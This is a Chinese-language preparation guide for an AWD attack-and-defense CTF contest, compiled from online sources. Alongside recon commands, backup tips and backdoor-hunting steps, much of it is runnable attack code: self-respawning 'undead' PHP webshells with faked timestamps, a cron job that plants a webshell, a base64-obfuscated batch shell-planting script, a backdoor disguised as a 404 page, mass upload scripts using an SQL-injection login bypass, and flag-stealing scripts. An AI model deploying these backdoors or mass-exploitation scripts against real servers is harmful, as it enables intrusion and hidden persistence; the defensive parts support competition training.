AWD 赛前准备

AWD比赛入门攻略总结

因为过几天要参加长城杯线下的awd,前几天参加了一会某平台的awd测试,被打烂了,这里重新准备一下脚本和一些常用命令:
其中md5N4tro92.=>b70c5fd752cf767e859543caa10e3a21
注意,本篇内容均为网上文章搜罗来的,后期可能会二次修改。且不保证脚本均可跑且无问题,请自行分析。
ee7829d512af401989ed57a77e1a58db.gif
打不过就删服务,谁也别打😡

比赛流程

一般情况下是先给一段时间进行加固,再进行攻击。之前参加时候不清楚,以为没有开服务。所以一定详细读规则。

攻击准备

信息搜集

一般情况下会给一个ip段,然后需要探活寻找其ip。
比如bugku平台提供的ip:
(图来自网络)
image.png
批量写脚本然后进行ip探活,其中X为1-255之间批量扫描。
或者比如其他比赛:
image.png
也是类似操作,但是似乎域名不能进行nmap等工具的扫描。

IP、端口

nmap官方文档:
https://nmap.org/man/zh/man-host-discovery.html
httpscan 主机探测:
https://github.com/zer0h/httpscan

查看当前ip

1
2
ifconfig   #Linux
ipconfig #Windows

扫描C段存活

1
2
namp -sn 192.168.0.0/24          #扫描C段主机存活
httpscan.py 192.168.0.0/24 –t 10 #扫描C段主机存活

端口扫描

一般情况下自己使用的主机端口等信息与其他竞赛者的端口信息一致,先搜集自己主机端口信息,最后再全端口扫描。

1
2
3
4
nmap -sV 192.168.0.2            #扫描主机系统版本
nmap -sS 192.168.0.2 #扫描主机常用端口
nmap -sS -p 80,445 192.168.0.2 #扫描主机部分端口
nmap -sS -p- 192.168.0.2 #扫描主机全部端口

应用发现

服务

需要寻找自身是nginx还是apache搭建的,并寻找出目录:

1
2
3
4
find / -name "nginx.conf"                 #定位nginx目录
find / -path "*nginx*" -name nginx*conf #定位nginx配置目录
find / -name "httpd.conf" #定位apache目录
find / -path "*apache*" -name apache*conf #定位apache配置目录

网站

寻找网站根目录下的index.php或者index.html等其他文件

1
find / -name "index.php"

日志

1
2
3
4
5
6
/var/log/nginx/    #默认Nginx日志目录
/var/log/apache/ #默认Apache日志目录
/var/log/apache2/ #默认Apache日志目录
/usr/local/apache2/logs #可能Apache日志目录
/usr/local/tomcat/logs #Tomcat日志目录
tail -f xxx.log #实时刷新滚动日志文件

查看访问量前十的链接:

1
cat /var/log/apache2/access.log |awk '{print $7}'|sort|uniq -c| sort -r|head

日志监控

在大佬后面喝汤吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#coding=utf-8
##Author: 7i4n2h3n9 & EDS
##Team: Polar Day Cyberspace Security LAB

import os
import sys
import re
import pyinotify

# Set Log Path
def setHttpserver():
print('Please set the log path of HTTPserver')
logDir = input('Please input the path:')
if os.path.isfile(logDir):
return logDir
else:
print('File does not exist!')
print('Exit the program......')
sys.exit

class EventHandler(pyinotify.ProcessEvent):
def __init__(self, file_path, *args, **kwargs):
super(EventHandler, self).__init__(*args, **kwargs)
self.file_path = file_path
self._last_position = 0
logpats = r'((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}'
self._logpat = re.compile(logpats)

def process_IN_MODIFY(self, event):
#print("File changed: " + event.pathname)
if self._last_position > os.path.getsize(self.file_path):
self._last_position = 0
with open(self.file_path) as f:
f.seek(self._last_position)
loglines = f.readlines()
self._last_position = f.tell()
groups = (self._logpat.search(line.strip()) for line in loglines)
for g in groups:
if check_Log(g.string):
print(g.string)

def check_Log(strLog):
if re.search('union|eval|alert|update|insert|into|from|create|delete|drop|truncate|rename|desc|charset|ascii|bin|char|uncompress|concat|concat_ws|conv|export_set|hex|instr|left|load_file|locate|sub|substring|oct|reverse|right|unhex|prompt|fwrite|curl|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore|whoami|bash|phpinfo|msgbox|select|ord|mid|group|and|flag',strLog,re.I):
return True
else:
return False

def LogMonitor(path):
wm = pyinotify.WatchManager()
mask = pyinotify.IN_MODIFY
handler = EventHandler(path)
notifier = pyinotify.Notifier(wm, handler)
wm.add_watch(handler.file_path, mask)

print('Now Starting Monitor %s' % (path))
while True:
try:
notifier.loop()
except KeyboardInterrupt:
notifier.stop()
break

if __name__ == '__main__' :
logDir = setHttpserver()
LogMonitor(logDir)

目录扫描

直接上dirsearch

https://github.com/maurosoria/dirsearch

攻击

漏洞利用

前人栽树

未授权访问漏洞利用总结参考:

https://paper.seebug.org/409/

常见端口利用总结参考:

https://www.cnblogs.com/ldragon2000/p/14161054.html

部分利用工具参考:

https://github.com/vanhauser-thc/thc-hydra Hydra九头蛇
https://github.com/shack2/SNETCracker 超级弱口令工具
我用过这个 还行
https://github.com/se55i0n/DBScanner 数据库爆破工具
https://github.com/cwkiller/unauthorized-check 未授权检测工具

字典参考:

https://github.com/cpkkcb/fuzzDicts
https://github.com/TheKingOfDuck/fuzzDicts

可能会使用一些已经被查nday的框架,倒是后记得查有没有nday直接打。
或者说其中某些中间件有nday也同理。
或者可以查看日志,查看别人如何进行攻击。
一般源码中会提供数据库参数,就可以直接使用其参数在可能开放的数据库,或者给出phpadmin服务中登录:
image.png
正好这个服务提供了phpadmin,就可以通过数据库写文件、或者直接读文件获取到flag。
或者一般情况不会给太多时间审计,可以尝试用D盾等工具进行后门查找。或者比如cnseay等工具。
常用:

漏洞资料库集合参考:
https://github.com/cckuailong/vulbase
部分已知漏洞检测工具参考:
https://github.com/chaitin/xray 支持被动主动扫描
https://gobies.org/ 主机探测、端口爆破和漏洞检测
https://github.com/knownsec/pocsuite3 批量利用框架

权限提升

如果比赛允许的情况下,可以通过提权、或者上传shell脚本进行提权来做一些事情,比如说有的马是不可以在提供的权限被删除的,但是可以通过自己传shell、提权之后来做到。
参考:

提权参考:
https://cloud.tencent.com/developer/article/1942516 一般提权
https://github.com/SecWiki/linux-kernel-exploits 提权脚本

权限维持

简单的shell可能会被防守方直接拿下,这就需要使用不死马、反弹shell等方法维持权限,以便拿到后续的分数。
可以把flag放到头文件中方便后续读取:

1
header(php'flag:'.file_get_contents('/tmp/flag'));

攻击手段

不死马

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
ignore_user_abort(true); #客户机断开依旧执行
set_time_limit(0); #函数设置脚本最大执行时间。这里设置为0,即没有时间方面的限制。
unlink(__FILE__); 删除文件本身,以起到隐蔽自身的作用。
$file = '2.php';
$code = '<?php if(md5($_GET["pass"])=="b70c5fd752cf767e859543caa10e3a21"){@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
// 这是修改生成时间
system('touch -m -d "2017-10-17 10:25:33" .2.php');
usleep(5000);
}
?>

说实话这个日期可以换一下,我感觉网上这几个日期都是一样的

定时任务写马

1
system('echo "* * * * * echo \"<?php  if(md5(\\\\\\\\\$_POST[pass])==\'b70c5fd752cf767e859543caa10e3a21\'){@eval(\\\\\\\\\$_POST[1]);}  \" > /var/www/html/.index.php\n* * * * * chmod 777 /var/www/html/.index.php" | crontab;whoami');

命令生成不死马

1
2
3
4
system('while true;do echo \'<?php if(md5($_GET[pass])==\"b70c5fd752cf767e859543caa10e3a21\"){@eval($_GET[a]);} ?>\' >fuck.php;sleep 0.1;done;');


ps -ax # 显示正在运行的进程

批量命令不死马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
#!/usr/bin/python
#coding=utf-8
import sys,requests
'''
作用:向靶机发命令来写文件,文件名.index1.php
webshell.txt 格式如下:
http://127.0.0.1:80/1110/x.php,xost,x
http://127.0.0.2/1110/xx.php,POST,x
http://127.0.0.3/1011/x.php,get,3
http://192.168.1.155/1110/x.php,post,x
http://127.0.0.1/1110/y.php?pass=Sn3rtf4ck,get,a
'''

def loadfile(filepath):
try :
file = open(filepath,"rb")
return str(file.read())
except :
print "File %s Not Found!" %filepath
sys.exit()

def cmd(url,method,passwd):
#分割url ip 127.0.0.1:80 Rfile=/1111/x.php?pass=Sn3rtf4ck
try:
url.index("http")
#去除http:// ==> 127.0.0.1:80/1110/x.php
urlstr=url[7:]
lis = urlstr.split("/")
ip=str(lis[0])
Rfile = ""
for i in range(1,len(lis)):
Rfile = Rfile+"/"+str(lis[i])
except :
urlstr=url[8:]
lis = urlstr.split("/")
ip=str(lis[0])
Rfile = ""
for i in range(1,len(lis)):
Rfile = Rfile+"/"+str(lis[i])
#判断shell是否存在
try :
res = requests.get(url,timeout=3)
except :
print "[-] %s ERR_CONNECTION_TIMED_OUT" %url
return 0
if res.status_code!=200 :
print "[-] %s Page Not Found!" %url
return 0
#执行命令 system,exec,passthru,`,shell_exec
#a=@eval(base64_decode($_GET[z0]));&z0=c3lzdGVtKCJ3aG9hbWkiKTs=
data={}
if method=='get':
data[passwd]='@eval(base64_decode($_GET[z0]));'
data['z0']='c3lzdGVtKCd3aGlsZSB0cnVlO2RvIGVjaG8gXCc8P3BocCBpZihtZDUoJF9QT1NUW3Bhc3NdKT09IjNhNTAwNjVlMTcwOWFjYzQ3YmEwYzkyMzgyOTQzNjRmIil7QGV2YWwoJF9QT1NUW2FdKTt9ID8+XCcgPi5pbmRleDEucGhwO3RvdWNoIC1tIC1kICIyMDE3LTExLTE3IDEwOjIxOjI2IiAuaW5kZXgxLnBocDtzbGVlcCA1O2RvbmU7Jyk7'
try:
res = requests.get(url,params=data,timeout=3)
except :
pass
elif method=='post':
data['pass']="Sn3rtf4ck"
data[passwd]='@eval(base64_decode($_POST[z0]));'
data['z0']='c3lzdGVtKCd3aGlsZSB0cnVlO2RvIGVjaG8gXCc8P3BocCBpZihtZDUoJF9QT1NUW3Bhc3NdKT09IjNhNTAwNjVlMTcwOWFjYzQ3YmEwYzkyMzgyOTQzNjRmIil7QGV2YWwoJF9QT1NUW2FdKTt9ID8+XCcgPi5pbmRleDEucGhwO3RvdWNoIC1tIC1kICIyMDE3LTExLTE3IDEwOjIxOjI2IiAuaW5kZXgxLnBocDtzbGVlcCA1O2RvbmU7Jyk7'
try:
res = requests.post(url,data=data,timeout=3)
except:
pass
#print res.status_code
'''
if res.status_code!=200 :
print "[-] %s commad exec failed!" %url
return 0
'''

#检查shell是否存在。
list=Rfile.split("/")
b_url="http://"+ip
max = len(list)-1
for i in range(1,max):
b_url=b_url+"/"+list[i]
shell_url = b_url+"/.index1.php"
res = requests.get(shell_url,timeout=3)
if res.status_code!=200:
print "[-] %s create shell failed!" %shell_url
return 0
else :
print '[+] %s sucessed!' %shell_url


if __name__ == '__main__':
shellstr=loadfile("./webshell.txt")
list = shellstr.split("\r\n")
#print str(list)
i = 0
url={}
passwd={}
method={}
for data in list:
if data:
ls = data.split(",")
method_tmp = str(ls[1])
method_tmp = method_tmp.lower()
if method_tmp=='post' or method_tmp=='get':
url[i]=str(ls[0])
method[i]=method_tmp
passwd[i]=str(ls[2])
i+=1
else :
print "[-] %s request method error!" %(str(ls[0]))
else : pass
#print str(len(url))
for j in range(len(url)):
#调用执行命令的模块
#print str(j)
#print "url is %s method is %s passwd is %s" %(url[j],method[j],passwd[j])
cmd(url=url[j],method=method[j],passwd=passwd[j])

常用

preg_replace伪装404页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">

<html><head>

<title>404 Not Found</title>

</head><body>

<h1>Not Found</h1>

<p>The requested URL was not found on this server.</p>

</body></html>

<?php @preg_replace("/[pageerror]/e",$_POST['error'],"saft"); header('HTTP/1.1 404 Not Found');

?>

批量webshell 固定文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import requests
from threading import Thread
import re
filename="./webshell.php"
class UploadFile():
def __init__(self,upload_url,prefix_url,login_url=""):
self.session=requests.session()
self.login_url=login_url
self.upload_url=upload_url
self.prefix_url=prefix_url
self.suffix_url=""

def login(self):
data = {
"username": "admin'#",
"password": "asd"
}
self.session.post(url=self.login_url, data=data)

def upload(self):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0",
"Upgrade-Insecure-Requests": "1",
"Content-Length": "623"
}
f = {

"pic": ("webshell.php", open(filename, "rb"), "application/octet-stream")

}
res = self.session.post(url=self.upload_url, files=f, headers=headers)
self.suffix_url=self.upload_path(res.text)
print(res.status_code)

def active_webshell(self):
try:
self.session.get(url=self.prefix_url+self.suffix_url, timeout=3)
except Exception as e:
print(e)


def upload_path(self,content):
pass
comp = re.compile("/upload.*?[.]php")
path = comp.findall(content)
if path:
print(path[0])
return path[0]
return ""

def start_upload(host,port):
login_url = "http://{}:{}/login.php".format(host, port)
upload_url = "http://{}:{}/admin/upload.php".format(host, port)
prefix_url = "http://{}:{}/admin".format(host, port)
uploadfile=UploadFile(upload_url,prefix_url,login_url)
uploadfile.login()
uploadfile.upload()
uploadfile.active_webshell()

if __name__=='__main__':
base_host="ip"
base_port=8100
tasks=[]
for i in range(1,11):
t=Thread(target=start_upload,args=(base_host,base_port+i))
tasks.append(t)
for task in tasks:
task.start()
for task in tasks:
task.join()

批量webshell随机文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import requests
from threading import Thread
import hashlib
import re
filename="./webshell.php"
shell_content='''
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '%s';
$code = '<?php if(md5($_GET["pass"])=="47fe7f87f45e7403be0a9eb7a30a2970"){@eval($_POST[a]);} ?>';
while (1){
if(md5(file_get_contents($file))!==md5($code)) {
file_put_contents($file,$code);
system("touch -m -d '2018-12-01 09:10:12' $file");
}
usleep(1000);
}
?>'''
class UploadFile():
def __init__(self,host,port):
self.session=requests.session()
self.host=host
self.port=port
self.login_url = "http://{}:{}/login.php".format(host, port)
self.upload_url = "http://{}:{}/admin/upload.php".format(host, port)
self.prefix_url = "http://{}:{}/admin".format(host, port)
self.suffix_url=""

def login(self):
data = {
"username": "admin'#",
"password": "asd"
}
self.session.post(url=self.login_url, data=data)

def upload(self):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0",
"Upgrade-Insecure-Requests": "1",
"Content-Length": "623"
}
shell_name=get_shell_name(self.host,self.port)
f = {

"pic": ("webshell.php", shell_content%(shell_name), "application/octet-stream")

}
res = self.session.post(url=self.upload_url, files=f, headers=headers)
self.suffix_url=self.upload_path(res.text)
print(res.status_code)

def active_webshell(self):
try:
absolute_url=self.prefix_url+self.suffix_url
print(absolute_url)
self.session.get(url=absolute_url, timeout=3)
except Exception as e:
print(e)


def upload_path(self,content):
pass
comp = re.compile("/upload.*?[.]php")
path = comp.findall(content)
if path:
print(path[0])
return path[0]
return ""

def get_shell_name(host,port):
secret_key="ye1s"
strings="{}{}".format(host,port)+secret_key
md5=hashlib.md5()
md5.update(strings.encode())
return "."+md5.hexdigest()[0:6]+".php"


def start_upload(host,port):
uploadfile=UploadFile(host,port)
uploadfile.login()
uploadfile.upload()
uploadfile.active_webshell()

if __name__=='__main__':
base_host="ip"
base_port=8100
tasks=[]
for i in range(1,11):
t=Thread(target=start_upload,args=(base_host,base_port+i))
tasks.append(t)
for task in tasks:
task.start()
for task in tasks:
task.join()

得分

批量利用框架工具:
https://github.com/Ares-X/AWD-Predator-Framework

需要编写py或者curl的一些脚本来实现批量提交。

批量拿flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#!/usr/bin/python
#coding=utf-8
import sys,requests,base64

def loadfile(filepath):
try :
file = open(filepath,"rb")
return str(file.read())
except :
print "File %s Not Found!" %filepath
sys.exit()

def file_write(filepath,filecontent):
file = open(filepath,"a")
file.write(filecontent)
file.close()

def getflag(url,method,passwd,flag_path):
#flag机的url
flag_url="192.168.45.1"
#print url
#判断shell是否存在
try :
res = requests.get(url,timeout=3)
except :
print "[-] %s ERR_CONNECTION_TIMED_OUT" %url
file_write(flag_path,"[-] %s ERR_CONNECTION_TIMED_OUT\n\n" %url)
return 0
if res.status_code!=200 :
print "[-] %s Page Not Found!" %url
file_write(flag_path,"[-] %s Page Not Found!\n\n" %url)
return 0
#执行命令来获取flag system,exec,passthru,`,shell_exec
#a=@eval(base64_decode($_GET[z0]));&z0=c3lzdGVtKCJ3aG9hbWkiKTs=
cmd = "curl "+flag_url
#cmd = "whoami"
getflag_cmd ="echo system(\"%s\");"%cmd
data={}
if method=='get':
data[passwd]='@eval(base64_decode($_GET[z0]));'
data['z0']=base64.b64encode(getflag_cmd)
try:
res = requests.get(url,params=data,timeout=3)
#print res.url
if res.content:
content = url+"\n"+res.content+"\n\n"
file_write(flag_path,content)
print "[+] %s getflag sucessed!"%url
else :
print "[-] %s cmd exec response is null!"%url
content = url+"\ncmd exec response is null!\n\n"
file_write(flag_path,content)
except :
file_write(flag_path,"\n[+] %s Getflag Failed! You can check the shell's passwd!\n\n"%url)
print "[+] %s Getflag Failed! You can check the shell's passwd!"%url
elif method=='post':
data['pass']='Sn3rtf4ck'
data[passwd]='@eval(base64_decode($_POST[z0]));'
data['z0']=base64.b64encode(getflag_cmd)
try:
res = requests.post(url,data=data,timeout=3)
if res.content:
content = url+"\n"+res.content+"\n\n"
file_write(flag_path,content)
print "[+] %s getflag sucessed!"%url
else :
print "[-] %s cmd exec response is null!"%url
content = url+"\ncmd exec response is null!\n\n"
file_write(flag_path,content)
except:
file_write(flag_path,"\n[+] %s Getflag Failed! You can check the shell's passwd!\n\n"%url)
print "[+] %s Getflag Failed! You can check the shell's passwd!"%url



if __name__ == '__main__':
#存放flag的文件
flag_path="./flag.txt"
shellstr=loadfile("./webshell.txt")
list = shellstr.split("\r\n")
#print str(list)
i = 0
url={}
passwd={}
method={}
for data in list:
if data:
ls = data.split(",")
method_tmp = str(ls[1])
method_tmp = method_tmp.lower()
if method_tmp=='post' or method_tmp=='get':
url[i]=str(ls[0])
method[i]=method_tmp
passwd[i]=str(ls[2])
i+=1
else :
print "[-] %s request method error!" %(str(ls[0]))
file_write(flag_path,"[-] %s request method error!\n\n" %(str(ls[0])))
else : pass
#print str(len(url))
for j in range(len(url)):
#调用执行命令的模块
#print str(j)
#print "url is %s method is %s passwd is %s" %(url[j],method[j],passwd[j])
getflag(url=url[j],method=method[j],passwd=passwd[j],flag_path=flag_path)
print "Getflag finished!"

批量提交flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
import json
import requests
import re
from threading import Thread

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

requests.packages.urllib3.disable_warnings()


class FlagFile():
def __init__(self):

self.flag_file = "./flag.txt"

def add_one(self, flag):
if flag:
with open(self.flag_file, "a+") as f:
f.write(flag + "\n")

def add_many(self, flags):
if flags:
with open(self.flag_file, "a+") as f:
for flag in flags:
f.write(flag + "\n");

def del_all(self):
f = open(self.flag_file, "w+")
f.truncate()

def get_all(self):
with open(self.flag_file, "r", encoding='utf-8') as f:
flags = set([i.strip() for i in f.readlines() if i ] )
return flags

def submit_flag(flag):
host_url="http://awd.hillstonenet.com/api/flag"
headers={
"Content-Type": "application/json; charset=UTF-8",
"Authorization": "d89fdcf7f1fd37a69aef7ea0d507a51a"
}





data={
"flag":flag
}
try:
data=json.dumps(data)
r=requests.post(host_url,data=data,headers=headers)
print(r.text)
except Exception as e:
print(e)

def match_flag(content):
comp = re.compile("hillstone{.*?}")
path = comp.findall(content)
if path:
print(path[0])
return path[0]
return ""




def web1_shell(host,port):
shell_url = "http://{}:{}/admin/upload/admin.php?pass=p455word".format(host, port)
command="show_source('/flag');"
data = {
"a": command
}
res=requests.post(url=shell_url,data=data)
return match_flag(res.text)


def web2_sql(host,port):
sql_url="http://{}:{}/sqlgunsearch.php".format(host,port)
data={
"key": "key=aa%' union select 1,2,load_file('/flag')#--"
}
try:
res=requests.post(url=sql_url,data=data)
return match_flag(res.text)
except Exception as e:
print(e)

def web3_shell(host,port):
shell_url = "http://{}:{}/includes/config.php?d=assert".format(host, port)
command = "show_source('/flag');"
data = {
"c": command
}
res = requests.post(url=shell_url, data=data)
return match_flag(res.text)




class web1_exp():
def __init__(self,host,port):
self.host=host
self.port=port
self.flag_file=FlagFile()
def sql(self):
pass
def rce(self):
pass
def webshell(self):
flag=web1_shell(self.host,self.port)
self.flag_file.add_one(flag)

class web2_exp():
def __init__(self,host,port):
self.host=host
self.port=port
self.flag_file=FlagFile()
def sql(self):
flag=web2_sql(self.host,self.port)
self.flag_file.add_one(flag)
def rce(self):
pass

def webshell(self):
pass

class web3_exp():
def __init__(self,host,port):
self.host=host
self.port=port
self.flag_file=FlagFile()
def sql(self):
pass
def rce(self):
pass
def webshell(self):
flag=web3_shell(self.host,self.port)
self.flag_file.add_one(flag)



def web_exp(host,port,num):
exp = eval("web{}_exp(host, port)".format(num))
exp.sql()
exp.rce()
exp.webshell()

def attack_web(host,port,num):
base_host=host
base_port=port
tasks = []
flag_file = FlagFile()
flag_file.del_all()
for i in range(1, 11):
tasks.append(Thread(target=web_exp, args=(base_host, base_port + i,num)))
for task in tasks:
task.start()
for task in tasks:
task.join()
for flag in flag_file.get_all():
submit_flag(flag)

if __name__=='__main__':
base_host1 = "ip"
base_port1 = 8100
base_host2 = "ip"
base_port2 = 8200
base_host3 = "ip"
base_port3 = 8300
attack_web(base_host1,base_port1,1)
attack_web(base_host2, base_port2,2)
attack_web(base_host3, base_port3,3)

防御

网站备份

防止源码修改出问题,或者被恶意删除源码(实际上我第一次存源码的时候忘记备份,直接就给删除了,导致后续服务一直没有,也就一直被扣分)

压缩文件

1
2
tar -cvf web.tar /var/www/html
zip -q -r web.zip /var/www/html

解压文件

1
2
tar -xvf web.tar -c /var/www/html
unzip web.zip -d /var/www/html

备份到其他位置

这个挺重要的,否则你在web根目录下,一般都是全删了,不给你机会。

1
2
mv web.tar /tmp
mv web.zip /home/xxx

文件上传、下载

1
2
3
4
scp username@servername:/path/filename /tmp/local_destination #从服务器下载单个文件到本地
scp /path/local_filename username@servername:/path #从本地上传单个文件到服务器
scp -r username@servername:remote_dir/ /tmp/local_dir #从服务器下载整个目录到本地
scp -r /tmp/local_dir username@servername:remote_dir #从本地上传整个目录到服务器

或者直接用termius或者xshell、xftp配合来实现。

数据库备份

数据库配置信息一般可以通过如config.php/web.conf等文件获取。
以MySQL数据库备份数据为例:

备份指定数据库

1
mysqldump –u username –p password databasename > bak.sql

备份所有数据库

1
mysqldump –all -databases > bak.sql

导入数据库

1
mysql –u username –p password database < bak.sql

数据库操作

1
2
3
4
5
6
7
数据库登录:mysql -udb_user -pdb_passwd 

创建数据库:mysql>create database db_name;

source 还原:mysql>use db_name; mysql>source /tmp/bak.sql

mysql 还原:mysql -udb_user -pdb_passwd db_name< /tmp/bak.sql

修改口令

一般情况下防止被强登或者改密,注意这里的密码不仅仅指ssh密码、数据库密码,当然也包括web服务的一些弱口令。

1
2
3
passwd username    #ssh口令修改
set password for mycms@localhost = password('123'); #MySQL密码修改
find /var/www/html -path '*config*’ #查找配置文件中的密码凭证

检查备份

1
2
find  /var/www/html/ -name "*.tar"
find /var/www/html/ -name "*.zip"

后门查杀

寻找恶意文件

1
2
3
4
find /var/www/html -name *.php -mmin -20 #查看最近20分钟修改文件
find ./ -name '*.php' | xargs wc -l | sort -u #寻找行数最短文件
grep -r --include=*.php '[^a-z]eval($_POST' /var/www/html #查包含关键字的php文件
find /var/www/html -type f -name "*.php" | xargs grep "eval(" |more

常见webshell

1
2
3
4
5
6
7
8
9
10
11
12
# phpwebshell
<?php @eval($_GET['cmd']); ?>

<?php @eval($_POST['cmd']); ?>

<?php @eval($_REQUESTS['cmd']); ?>
# jspwebshell

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
# aspwebshell

<%eval request ("cmd")%> 或 <% execute(request("cmd")) %>

不死马处理

杀掉进程重启服务(这个一般没有权限做不到)、写同名文件夹或者写一个sleep时间低于别人的马、或者写脚本不断删除马。
只删掉脚本是没用的,因为php执行的时候已经讲脚本解释成opcode运行。

1
2
3
4
5
<?php

system("kill -9 pid;rm -rf .shell.php"); #pid和不死马名称根据实际情况定

?>
  • 写同名文件
1
rm -rf .2.php | mkdir .2.php
  • 手动删除
1
2
shell.php: <?php @eval($_GET['9415']); ?>
url访问:shell.php?9415=system('kill -9 -1');
  • 脚本竞争

top 查看占用率最高的cpu进程
q 退出
M 根据驻留内存大小进行排序
P 根据CPU使用百分比大小进行排序

1
2
3
4
5
6
7
<?php
while (1) {
$pid = 不死⻢的进程PID;
@unlink("c.php");
exec("kill -9 $pid");
usleep(1000);
}?>

后门用户查杀

UID大于500的都是非系统账号,500以下的都为系统保留的账号,使用

1
userdel -r username # 完全删除账户

关闭端口

1
2
3
netstat -anp  #查看端口
firewall-cmd --zone= public --remove-port=80/tcp –permanent #关闭端口
firewall-cmd –reload #重载防火墙

关闭进程

1
2
ps -aux  #查看进程
kill -9 pid #强制进程查杀

漏洞修复

一般情况下应该没机会修,使用一些过滤函数,可以上一些注释或者删除相关代码。
可以vim直接改,也可以改了再上传。
参考:

https://www.cnblogs.com/iAmSoScArEd/p/10651947.html 常规漏洞修复建议
https://www.cnblogs.com/chenpingzhao/p/4802179.html PHP安全函数

流量监控

流量监控日志
https://github.com/wupco/weblogger
https://github.com/DasSecurity-Labs/AoiAWD

批量包含文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php

function install($dir,$filename){
$layer_list = scandir($dir);
foreach ($layer_list as $i){
if ($i === '.' || $i === "..") {
continue;
}
$next = $dir . $i;
if (is_dir($next)) {
if ($next[strlen($next) - 1] !== '/') {
$next .= "/";
}
install($next,$filename);
} else {
$ext = end(explode('.', $next));
$php_ext = ["php", "php5", "phtml"];
if (in_array($ext, $php_ext) && strlen($ext) !== strlen($next)&& $next!=__FILE__) {
$old_file_str = file_get_contents($next);
file_put_contents($next, "<?php include_once '".$filename."'; ?>" . $old_file_str);
}
}
}

}
function uninstall($dir,$filename)
{
$layer_list = scandir($dir);
foreach ($layer_list as $i) {
if ($i === '.' || $i == "..") {
continue;
}
$next = $dir . $i;
if (is_dir($next)) {
if ($next[strlen($next) - 1] !== '/') {
$next .= "/";
}
uninstall($next,$filename);
} else {
$ext = end(explode('.', $next));
$php_ext = ["php", "php5", "phtml"];
if (in_array($ext, $php_ext) && strlen($ext) !== strlen($next)&& $next!=__FILE__) {
$old_file_str = file_get_contents($next);
echo $next . "\n";
file_put_contents($next, str_replace("<?php include_once '".$filename."'; ?>", "", $old_file_str));

}
}
}
}

if (isset($argv[1]) && $argv[1] === "--install") {
if (!isset($argv[2])) {
die("Usage: php fileinclude.php --install [web dir] [incoude file]\n Example: php fileinclude.php--install /var/www/html /tmp/filename.php");
}
$install_path = $argv[2];
$include_file = $argv[3];
if ($install_path[strlen($install_path) - 1] !== '/') {
$install_path .= "/";
}
install($install_path,$include_file);
die();
}
if (isset($argv[1]) && $argv[1] === "--uninstall") {
if (!isset($argv[2])) {
die("Usage: php fileinclude.php --uninstall [web dir] [incoude file]\n Example: php fileinclude.php --uninstall /var/www/html /tmp/filename.php");
}
$install_path = $argv[2];
$include_file = $argv[3];
if ($install_path[strlen($install_path) - 1] !== '/') {
$install_path .= "/";
}
uninstall($install_path,$include_file);
die();
}
?>

用法:

1
2
3
4
包含:php fileinclude.php --install [web dir] [filename]   
php fileinclude.php --install /var/www/html /tmp/129fc23931a5be05b43f0e9d2c90bd15/weblogpro.php
删除包含:php fileinclude.php --uninstall [web dir] [filename]
